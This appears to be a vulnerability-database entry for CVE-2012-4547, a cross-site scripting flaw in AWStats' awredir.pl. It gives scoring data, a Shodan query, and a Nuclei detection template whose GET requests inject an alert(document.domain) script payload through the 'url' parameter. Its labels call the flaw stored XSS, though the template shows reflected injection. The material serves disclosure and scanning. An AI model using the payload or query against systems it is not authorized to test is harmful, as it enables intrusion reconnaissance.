SecurityContext

CVE-2012-4547: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 4.3
  • Cvss vector: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
  • Epss score: 0.05796
  • Epss percentile: 0.93307
  • Cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: awstats
  • Shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
  • Vendor: laurent_destailleur

Products

ProductIndexedUrl
laurent_destailleur:awstatsyes/v1/products/laurent_destailleur/awstats

Labels

  • Name: AWStats - Stored XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or redirection.
  • Remediation: Update to the latest version of AWStats that addresses input sanitization issues.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to load or interact with malicious content
  • Labels source: projectdiscovery
  • From cve: CVE-2012-4547

```yaml

id: CVE-2012-4547

info:

name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

author: dhiyaneshDk

severity: medium

description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

remediation: |

Apply the latest security patches and updates from the vendor to address this vulnerability.

impact: |

Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.

reference:

- https://www.exploit-db.com/exploits/36164

- https://nvd.nist.gov/vuln/detail/CVE-2012-4547

- http://awstats.sourceforge.net/docs/awstats_changelog.txt

- http://openwall.com/lists/oss-security/2012/10/29/7

- http://openwall.com/lists/oss-security/2012/10/26/1

classification:

cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N

cvss-score: 4.3

cve-id: CVE-2012-4547

cwe-id: CWE-79

epss-score: 0.05796

epss-percentile: 0.93307

cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: laurent_destailleur

product: awstats

shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"

tags: cve2012,cve,xss,awstats,edb,laurent_destailleur,vuln

http:

- method: GET

path:

- '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'

- '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'

stop-at-first-match: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- "<script>alert(document.domain)</script>"

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a0047304502207c169b76ee18c07db51f39fb6c9ba3bed33ca324bec8b57b8f6bdc112b8059b4022100ab53cda1a540ea69d9a550c2b49bf2a02b45ba30691d447958a6dd711ca531b8:922c64590222798bb761d5b6d8e72950

```